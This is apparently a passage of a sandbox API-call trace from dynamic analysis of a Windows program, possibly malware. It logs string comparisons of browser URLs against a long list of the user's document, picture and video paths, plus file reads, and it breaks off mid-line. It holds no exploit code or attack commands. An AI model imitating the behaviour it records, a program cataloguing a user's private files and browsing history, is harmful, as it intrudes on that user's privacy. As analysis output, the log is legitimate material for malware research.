1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned 1 [0069.070] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned 1 [0069.071] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 1 [0069.072] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="http://google.com") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="https:url \x02") returned -1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="http://www.google.de/") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/products/internet-explorer") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/internet-explorer") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="https://ieonline.microsoft.com/favicon.ico") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="http://go.microsoft.com/fwlink/") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="http://www.msn.com/") returned 1 [0069.073] wcscmp (_String1="https://www.google.de/", _String2="https://www.google.de/") returned 0 [0069.073] SetFilePointer (in: hFile=0xc8, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100 [0069.073] ReadFile (in: hFile=0xc8, lpBuffer=0x28691c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2826c4, lpOverlapped=0x0 | out: lpBuffer=0x28691c*, lpNumberOfBytesRead=0x2826c4*=0x8, lpOverlapped=0x0) returned 1 [0069.073] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.073] _strlwr (in: _Str=":Host: www.google.de" | out: _Str=":host: www.google.de") returned=":host: www.google.de" [0069.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr=":host: www.google.de") returned 21 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned -1 [0069.073] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned -1 [0069.074] wcscmp (_String1=":host: www.google.de", 